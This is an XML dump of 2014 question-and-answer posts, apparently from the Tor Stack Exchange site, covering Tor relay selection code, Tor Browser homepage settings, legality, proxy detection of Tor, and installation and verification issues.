  <row Id="1247" PostTypeId="1" AcceptedAnswerId="1254" CreationDate="2014-01-09T23:48:08.497" Score="3" ViewCount="486" Body="&lt;p&gt;I want to change the Tor relay selection in the SOURCE CODE, I want to tell Tor to select my selected relays in each time it needs to build a circuit instead of randomly selected relays. &#xA;I know that I can force Tor to select some given relays by modifying Torrc (tor configuration file), but this is not what I want, I need to change the source code, I could not find where in the source code does the relay selection.&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2018-07-08T14:11:56.710" Title="Changing in the relay selection in Tor source code" Tags="|relays|circuit|source-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1248" PostTypeId="1" AcceptedAnswerId="1253" CreationDate="2014-01-10T06:05:51.167" Score="0" ViewCount="7006" Body="&lt;p&gt;I'd like to set up a local homepage on Tor startup.  The reason for this is that I'd like to set up a homepage that's not online (so I don't give away IP address on startup), but where I can have a login form that submits to my https website's login services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd like to set the homepage someplace like prefs.js and then redistribute the package to others who want to use these https services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where/how in the Tor preference files can I set the homepage locally, or where can I modify the existing Tor homepage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!  &lt;/p&gt;&#xA;" OwnerUserId="900" LastActivityDate="2020-04-21T22:45:07.480" Title="How can I set a local page as my Tor homepage on a redistribute-able package?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1249" PostTypeId="1" CreationDate="2014-01-10T09:30:55.670" Score="13" ViewCount="1803" Body="&lt;p&gt;I just moved to Singapore and I'm wondering if it's a good idea to use the Tor browser (without a bridge) and run a relay (not an exit node). I realize that this question could be repeated for any jurisdiction in the world, so I'm wondering if there is a list of jurisdictions that consider Tor illegal in the world?&lt;/p&gt;&#xA;" OwnerUserId="587" LastEditorDisplayName="user5" LastEditDate="2014-01-10T14:25:21.967" LastActivityDate="2014-01-10T15:47:38.723" Title="Is there a list of illegal Tor areas?" Tags="|tor-browser-bundle|relays|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1251" PostTypeId="2" ParentId="1249" CreationDate="2014-01-10T15:47:38.723" Score="5" Body="&lt;p&gt;To quote Roger Dingledine from many talks given about Tor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;To our knowledge there isn't a country/place where Tor has been declared illegal.&quot;&#xA;(Not exactly his words throughout the years.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge, which is more limited than the input the TorProject gets, this is still the case.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2014-01-10T15:47:38.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1253" PostTypeId="2" ParentId="1248" CreationDate="2014-01-10T23:38:43.000" Score="2" Body="&lt;p&gt;You can set a custom homepage by appending the following line to your &lt;a href=&quot;http://kb.mozillazine.org/Prefs.js_file&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;prefs.js&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;user_pref(&quot;browser.startup.homepage&quot;, &quot;torproject.org&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;prefs.js&lt;/code&gt; file is located at the path &lt;code&gt;Data/Browser/profile.default/&lt;/code&gt; in your Tor Browser Bundle directory. Please note the warning at the beginning of this file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;/* Do not edit this file. If you make changes to this file while the application is running, the changes will be overwritten when the application exits. To make a manual change to preferences, you can visit the URL about:config&#xA;   */&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, alternatively, you may change the &lt;code&gt;browser.startup.homepage&lt;/code&gt; setting on &lt;code&gt;about:config&lt;/code&gt; page and &lt;code&gt;prefs.js&lt;/code&gt; will be automaticaly updated when  browser exits.&lt;/p&gt;&#xA;" OwnerUserId="731" LastEditorUserId="731" LastEditDate="2014-01-11T01:13:09.467" LastActivityDate="2014-01-11T01:13:09.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1254" PostTypeId="2" ParentId="1247" CreationDate="2014-01-11T02:30:02.947" Score="4" Body="&lt;p&gt;Functions for node selection and circuit construction can be found in &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/routerlist.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;routerlist.c&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/circuitbuild.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;circuitbuild.c&lt;/code&gt;&lt;/a&gt; files in &lt;code&gt;src/or&lt;/code&gt; directory. Possibly the most relevant ones are the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/routerlist.c#l1964&quot; rel=&quot;nofollow&quot;&gt;smartlist_choose_node_by_bandwidth_weights&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/routerlist.c#l1998&quot; rel=&quot;nofollow&quot;&gt;compute_weighted_bandwidths&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/circuitbuild.c#l326&quot; rel=&quot;nofollow&quot;&gt;circuit_establish_circuit&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/circuitbuild.c#l3476&quot; rel=&quot;nofollow&quot;&gt;onion_extend_cpath&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/circuitbuild.c#l3220&quot; rel=&quot;nofollow&quot;&gt;onion_pick_cpath_exit&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/circuitbuild.c#l3397&quot; rel=&quot;nofollow&quot;&gt;choose_good_entry_server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/circuitbuild.c#l3354&quot; rel=&quot;nofollow&quot;&gt;choose_good_middle_server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/heads/maint-0.2.4:/src/or/circuitbuild.c#l3106&quot; rel=&quot;nofollow&quot;&gt;choose_good_exit_server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The list may not be exhaustive but should be a good point to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases, debug logs can be very helpful for finding responsible code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[debug] onion_extend_cpath(): Path is 1 long; we want 3&lt;br&gt;&#xA;  [debug] choose_good_middle_server(): Contemplating intermediate hop: random choice.&lt;br&gt;&#xA;  [debug] compute_weighted_bandwidths(): Generated weighted bandwidths for rule weight as middle node based on weights Wg=0.378600 Wm=1.000000 We=0.000000 Wd=0.088800 with total bw 0&lt;br&gt;&#xA;  [debug] extend_info_from_node(): using 37.59.22.63:9001 for Torlol2&lt;br&gt;&#xA;  [debug] onion_extend_cpath(): Chose router $D12BDD8E7C1C3EDBBDB2FCFF173D8314C8B1E620~Torlol2 at 37.59.22.63 for hop 2 (exit is yahyaoui)  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="731" LastActivityDate="2014-01-11T02:30:02.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1256" PostTypeId="2" ParentId="771" CreationDate="2014-01-11T15:28:57.943" Score="-2" Body="&lt;p&gt;open ubuntu software center, search ibus, then uninstall.&lt;/p&gt;&#xA;" OwnerUserId="937" LastActivityDate="2014-01-11T15:28:57.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1257" PostTypeId="2" ParentId="1241" CreationDate="2014-01-11T19:10:12.463" Score="1" Body="&lt;p&gt;Well, the direct link to the source package does not work for me either, at least not right now.&lt;br&gt;&#xA;But you could try following the &lt;a href=&quot;https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/INSTALL&quot; rel=&quot;nofollow&quot;&gt;build instructions&lt;/a&gt; that are found on the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser-details.html.en#build&quot; rel=&quot;nofollow&quot;&gt;source code page&lt;/a&gt; that krang mentioned (thus obtaining the latest version directly from the repository).&lt;br&gt;&#xA;&lt;strong&gt;And don't forget that you must have a means of verifying the integrity of the code.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="938" LastActivityDate="2014-01-11T19:10:12.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1258" PostTypeId="1" AcceptedAnswerId="1265" CreationDate="2014-01-12T11:31:22.903" Score="2" ViewCount="299" Body="&lt;p&gt;I have a quick question I hope has not been asked yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume there is a network such this: there is a pc (let's call it X) which is part of a wide LAN; to connect to the internet, it must go through a proxy which blocks (and logs) connections to forbidden IPs.&#xA;Now, on the pc X there is Tor; it must use the proxy to work as well, but when it tries to connect the proxy blocks Tor IP; therefore it is set up with bridge relays (got by email, not the public ones). In such a way, the connection to any of the forbidden IPs is successful (the proxy doesn't block the relays IPs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is: even though the PC X is reaching an IP which shouldn't be reached, since the proxy logs ALL traffic, is there a way to know from logs that the PC X is using Tor?&#xA;What kind of traffic does the proxy see actually? Is the traffic encrypted or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="940" LastEditorUserId="923" LastEditDate="2014-03-05T19:27:27.493" LastActivityDate="2014-03-05T19:27:27.493" Title="Detect Tor from a LAN proxy" Tags="|relays|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1259" PostTypeId="1" CreationDate="2014-01-12T11:53:24.297" Score="3" ViewCount="3428" Body="&lt;p&gt;I will setup gateway machine with 2 NIC: &lt;code&gt;eth0&lt;/code&gt; for WAN and &lt;code&gt;eth1&lt;/code&gt; for LAN. On gateway machine I'll install &lt;a href=&quot;http://pfsense.org&quot; rel=&quot;nofollow&quot;&gt;PfSense&lt;/a&gt; and setup Tor Proxy like for example here &lt;a href=&quot;http://skear.hubpages.com/hub/How-to-Set-Up-a-Tor-Proxy-Server-on-pfSense&quot; rel=&quot;nofollow&quot;&gt;How to Set Up a Tor Proxy Server on pfSense&lt;/a&gt;. Client machine will be Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it similar to Whonix Gateway + Workstation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kinds of leaks are then possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to improve this setup without changing its parts?&lt;/p&gt;&#xA;" OwnerUserId="922" LastActivityDate="2017-02-20T21:21:38.693" Title="What kind of protection will be: PfSense as Tor Proxy" Tags="|transparent-proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1260" PostTypeId="1" CreationDate="2014-01-12T12:10:16.273" Score="1" ViewCount="255" Body="&lt;p&gt;Is Tor use any &lt;a href=&quot;https://en.wikipedia.org/wiki/Steganography&quot; rel=&quot;nofollow&quot;&gt;steganography&lt;/a&gt; methods to hide connections inside onion routing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this question on security SE: &lt;a href=&quot;https://security.stackexchange.com/questions/48502/tor-traffic-correlation-attacks-by-global-adversaries&quot;&gt;Tor traffic correlation attacks by global adversaries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;adversaries (like the NSA) that can see large segments of the Internet&#xA;  can relatively easily de-anonymize most Tor traffic&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Will Guard ( first node ) try to hide next hop from global adversaries ? &#xA;E.g. by sending 3 or more similar messages to the next nodes, where only one of them is a real middle-node ( second node ) ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Tor network making any noise to confuse global adversaries ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm talking about &lt;code&gt;timing-attack&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, delays on transmissions would help, but would increase latency and aren't currently supported by TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would &lt;code&gt;noise traffic&lt;/code&gt;, say increase load of network in 3x, be helpful against &lt;code&gt;timing attack&lt;/code&gt;? &lt;code&gt;One in / Four Out&lt;/code&gt;....  &lt;code&gt;One in / Fourteen out&lt;/code&gt;... &lt;code&gt;One in / Forty out&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASCII graphic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                  +-- noise traffic --&amp;gt; Middle --&amp;gt; noise traffic --&amp;gt; Exit#1&#xA;                 /&#xA;                /-- noise traffic --&amp;gt; Middle --&amp;gt; noise traffic --&amp;gt; Exit#2&#xA;Client --&amp;gt; Guard&#xA;                \-- True Connection --&amp;gt; Middle --&amp;gt; True Connection --&amp;gt; Exit#3&#xA;                 \&#xA;                  +-- noise traffic --&amp;gt; Middle --&amp;gt; noise traffic -&amp;gt; Exit#4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To prevent attack by correlation of size, e.g. &lt;code&gt;noise traffic&lt;/code&gt; generated on the Guard side accordingly to &lt;code&gt;True Connection&lt;/code&gt; with minimal distance by Shanon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be continuation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                                 /+---&amp;gt; noise traffic -&amp;gt; Exit#1&#xA;                      +-- noise traffic --&amp;gt; Middle --&amp;gt; noise traffic --&amp;gt; Exit#2&#xA;                     /                            \---&amp;gt; noise traffic -&amp;gt; Exit#3&#xA;                    /                              +---&amp;gt; noise traffic -&amp;gt; Exit#4&#xA;                   /&#xA;                  /&#xA;                 /                         /+--&amp;gt; noise traffic -&amp;gt; Exit#5&#xA;                /-- noise traffic --&amp;gt; Middle --&amp;gt; noise traffic --&amp;gt; Exit#6&#xA;               /                          \---&amp;gt; noise traffic -&amp;gt; Exit#7&#xA;              /                            +---&amp;gt; noise traffic -&amp;gt; Exit#8&#xA;             /&#xA;Client --&amp;gt; Guard&#xA;             \\ &#xA;              \\&#xA;               \\&#xA;                \\                            /+---&amp;gt; noise traffic -&amp;gt; Exit#9&#xA;                 \== True Connection ==&amp;gt; Middle --&amp;gt;  noise traffic --&amp;gt; Exit#10&#xA;                  \                          \\==&amp;gt; True Connection ==&amp;gt; Exit#11 ==&amp;gt;&amp;gt; True&#xA;                   \                          +--&amp;gt; noise traffic -&amp;gt; Exit#12&#xA;                    \&#xA;                     \&#xA;                      \&#xA;                       \                           /+---&amp;gt; noise traffic -&amp;gt; Exit#13&#xA;                        +-- noise traffic --&amp;gt; Middle --&amp;gt; noise traffic -&amp;gt; Exit#14     &#xA;                                                \---&amp;gt; noise traffic -&amp;gt; Exit#15&#xA;                                                 +---&amp;gt; noise traffic -&amp;gt; Exit#16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="792" LastActivityDate="2014-01-12T12:46:58.553" Title="Is Tor network making any noise to confuse global adversaries?" Tags="|attacks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1261" PostTypeId="2" ParentId="1260" CreationDate="2014-01-12T12:46:58.553" Score="2" Body="&lt;p&gt;Tor does not include any use of noise in any way. It also does not use any delays as those would not help much and would not be tolerated by applications and users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concern is end-to-end traffic correlation, where the adversary can see the traffic flowing into the Tor network and out of it. This has not to happen at the entry and exit node, just any way along the traffic's route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proposed solution would vastly increase the amount of bandwidth required for a Tor node and at best hide the path the traffic took; what's usually not what the adversary cares about.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2014-01-12T12:46:58.553" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1262" PostTypeId="1" AcceptedAnswerId="1266" CreationDate="2014-01-12T13:40:24.887" Score="2" ViewCount="1091" Body="&lt;p&gt;I'm wondering how I can modify the Tor Browser's default homepage to add/subtract HTML/JS/CSS. Is there a file somewhere I can edit to change this page?&lt;/p&gt;&#xA;" OwnerUserId="900" LastEditorUserId="71" LastEditDate="2014-07-05T00:19:40.093" LastActivityDate="2014-07-05T00:19:40.093" Title="How do I modify the existing homepage for Tor?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1263" PostTypeId="1" CreationDate="2014-01-12T17:26:24.020" Score="0" ViewCount="4083" Body="&lt;p&gt;I'm running some experiments using the stem library where I change circuit paths fairly frequently. Every so often, I get a stream detached event and a &lt;code&gt;Socks5Error: 'TTL Expired'&lt;/code&gt; in my Python script, and at the same time I get something like &lt;code&gt;Jan 12 12:09:52.000 [notice] Tried for 120 seconds to get a connection to [scrubbed]:6667. Giving up. (waiting for controller)&lt;/code&gt; in my Tor log. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why this might be occurring, and how I could either prevent it or even recover from it? I tried catching the exception, waiting, and then getting a new controller (with &lt;code&gt;Controller.from_port&lt;/code&gt;) but the attempt to get a new controller throws a &lt;code&gt;Socks5Error&lt;/code&gt; as well. Once I restart the script though, everything works fine until the error occurs agin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the error can't be prevented, I'd like the script to be able to keep going on it's own. &lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2014-01-12T17:26:24.020" Title="Tried for 120 seconds to get a connection to [scrubbed]:6667 (waiting for controller)" Tags="|relays|circuit|stream-isolation|python|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1264" PostTypeId="1" CreationDate="2014-01-12T23:08:41.833" Score="2" ViewCount="3073" Body="&lt;p&gt;I have downloaded the most recent package of the Tor Browser Bundle and I am attempting to verify the signature using gpg. I have imported the key and downloaded the signature file, but when I attempt to verify the signature of the file I get the message &quot;Not enough information to check signature validity.&quot; Why did I receive this message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am right clicking on the signature file and using the verify command under More GpgEX options. I am naming the torbrowser-install-3.5_en-US.exe file as the signed data.&lt;/p&gt;&#xA;" OwnerUserId="812" LastEditorUserId="812" LastEditDate="2014-02-16T15:46:00.420" LastActivityDate="2014-04-17T17:37:30.120" Title="Not enough information to check signature validity of the signature for the browser bundle?" Tags="|tor-browser-bundle|verification|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1265" PostTypeId="2" ParentId="1258" CreationDate="2014-01-13T12:37:56.250" Score="3" Body="&lt;p&gt;In general, there are several ways how the proxy could figure out that PC X was using Tor.  Note that not all of these attacks are straightforward to implement so it depends on how determined the proxy is.  In particular, the proxy could do the following.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It could monitor to which IP addresses you are connecting to and actively probe them, i.e., opportunistically establish Tor connections to your destinations and see if they succeed.  The Great Firewall of China is known to do this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While Tor's traffic is indeed encrypted, it could look at the TLS handshake between PC X and a bridge and see if it could be Tor.  The TLS handshake has several unique aspects such as Tor's randomly chosen SNIs and the client cipher list.  You can use &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;pluggable transports&lt;/a&gt; to avoid that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In theory, it could also do traffic analysis, i.e., look at things such as packet lengths, timings etc.  In practice, that takes some effort to implement.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the proxy is just a random off-the-shelf router, I wouldn't worry too much.  Using pluggable transports with bridges is probably good enough.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-01-13T12:37:56.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1266" PostTypeId="2" ParentId="1262" CreationDate="2014-01-14T01:17:57.233" Score="1" Body="&lt;p&gt;The source files for &lt;code&gt;about:tor&lt;/code&gt; homepage are packed inside the Torbutton addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really need to modify the &lt;code&gt;about:tor&lt;/code&gt; page, unpack &lt;code&gt;torbutton@torproject.org.xpi&lt;/code&gt; file in &lt;code&gt;Data/Browser/profile.default/extensions&lt;/code&gt; directory and look for the &lt;code&gt;chrome/content/aboutTor/aboutTor.xhtml&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some helpful pointers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Mozilla knowledgebase: &lt;a href=&quot;http://kb.mozillazine.org/Editing_an_add-on_to_change_its_compatibility&quot; rel=&quot;nofollow&quot;&gt;Editing an add-on to change its compatibility&lt;/a&gt; (steps 3,4,5,6 are to be replaced by your edits)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the page source online: &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/blob/HEAD:/src/chrome/content/aboutTor/aboutTor.xhtml&quot; rel=&quot;nofollow&quot;&gt;aboutTor.xhtml in Torbutton repository&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please note that Torbutton serves as a bridge between Tor network and Tor Browser. Modifying it may compromise your security.&lt;/p&gt;&#xA;" OwnerUserId="731" LastActivityDate="2014-01-14T01:17:57.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1268" PostTypeId="1" CreationDate="2014-01-14T02:20:38.120" Score="5" ViewCount="5592" Body="&lt;p&gt;After installing Tor (browser bundle) on my Win7-64 machine, it doesn't show up as an installed program in Programs and Features in the Control Panel? Is this normal or is this a glitch?&lt;/p&gt;&#xA;" OwnerUserId="949" LastEditorUserId="71" LastEditDate="2014-01-14T17:50:29.593" LastActivityDate="2018-02-18T02:03:32.070" Title="Why is Tor not visible in my Programs and Features in the Control Panel?" Tags="|tor-browser-bundle|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1269" PostTypeId="2" ParentId="1268" CreationDate="2014-01-14T06:29:38.503" Score="3" Body="&lt;p&gt;Because the 'Installer' just decompresses a zip archive that's been created as a &lt;code&gt;.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it visible in the control panel you need a different type of installer that supports that feature.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="71" LastEditDate="2014-01-14T11:02:27.863" LastActivityDate="2014-01-14T11:02:27.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1270" PostTypeId="5" CreationDate="2014-01-14T10:02:52.527" Score="0" Body="&lt;p&gt;Microsoft Windows is a graphical operating system developed, marketed, and sold by Microsoft. Its first version was released in 1985 with regular updates/versions every few years.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2014-01-14T17:50:06.247" LastActivityDate="2014-01-14T17:50:06.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1271" PostTypeId="4" CreationDate="2014-01-14T10:02:52.527" Score="0" Body="Microsoft Windows is an operating system developed, marketed, and sold by Microsoft." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2014-01-14T17:49:48.403" LastActivityDate="2014-01-14T17:49:48.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1272" PostTypeId="2" ParentId="1244" CreationDate="2014-01-14T11:57:49.750" Score="1" Body="&lt;p&gt;When you look at the different versions of Tor, you'll see that there is no X.0 version. So also there is no tor-0.2.3.0-XX. The first version of the 0.2.3 series is &lt;a href=&quot;https://gitweb.torproject.org/tor.git/commit/5cabdc8f679c4124523a1cc02ac1e22ab86b8502&quot; rel=&quot;nofollow&quot;&gt;tor-0.2.3.1-alpha&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-14T11:57:49.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1273" PostTypeId="1" CreationDate="2014-01-14T12:13:23.187" Score="3" ViewCount="3403" Body="&lt;p&gt;Tried using latest Pluggable Transports TorBrowserBundle 3.5. Says it's connected to Tor, but cannot connect to &lt;em&gt;any&lt;/em&gt; websites. TorBrowser 3.5 (w/out obfsproxy) gives same result. No problems loading websites using Pluggable Transports TorBrowser 2.4.18, nor using regular Firefox (any version), nor Safari.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's part of the troublesome Tor 3.5 message log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1/14/14 11:39:30.652 [NOTICE] We now have enough directory information to build circuits. &#xA;1/14/14 11:39:30.652 [NOTICE] Bootstrapped 80%: Connecting to the Tor network. &#xA;1/14/14 11:39:30.653 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit. &#xA;1/14/14 11:39:32.283 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;1/14/14 11:39:32.283 [NOTICE] Bootstrapped 100%: Done. &#xA;1/14/14 11:39:34.258 [NOTICE] New control connection opened. &#xA;1/14/14 11:41:34.626 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. (waiting for socks info) &#xA;1/14/14 11:42:28.625 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. (waiting for socks info) &#xA;1/14/14 11:43:04.626 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. (waiting for socks info) &#xA;1/14/14 11:43:59.627 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. (waiting for socks info)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have compared the torrc files for v2.4.18 and v3.5, and both appear to be similarly configured. Have turned firewall on and off to no effect. What's going on here?&lt;/p&gt;&#xA;" OwnerUserId="950" LastEditorUserId="71" LastEditDate="2014-01-14T17:49:59.450" LastActivityDate="2014-01-19T10:24:01.300" Title="TorBrowserBundle 3.5 Can't Connect to Internet" Tags="|tor-browser-bundle|mac|pluggable-transports|" AnswerCount="0" CommentCount="2" ClosedDate="2017-04-21T20:44:54.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="1274" PostTypeId="2" ParentId="1268" CreationDate="2014-01-14T19:10:14.130" Score="3" Body="&lt;p&gt;The Tor Project's information page on the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Bundle&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Tor Browser Bundle lets you use Tor on Windows, Mac OS X, or Linux&#xA;  &lt;strong&gt;without needing to install any software&lt;/strong&gt;. It can run off a USB flash&#xA;  drive, comes with a pre-configured web browser to protect your&#xA;  anonymity, and is self-contained.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's meant to be &lt;em&gt;completely&lt;/em&gt; portable. This means that when you download and unzip it (on Windows, Mac, or Linux) you're extracting a pre-compiled, ready-to-go executable. Each time you unzip it you're getting a fresh &quot;install&quot; so to speak, and all it would take to &quot;uninstall&quot; it would be to delete the folder containing it. The whole process of installing/uninstalling leaves as little trace on the operating system as possible.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2014-01-14T19:10:14.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
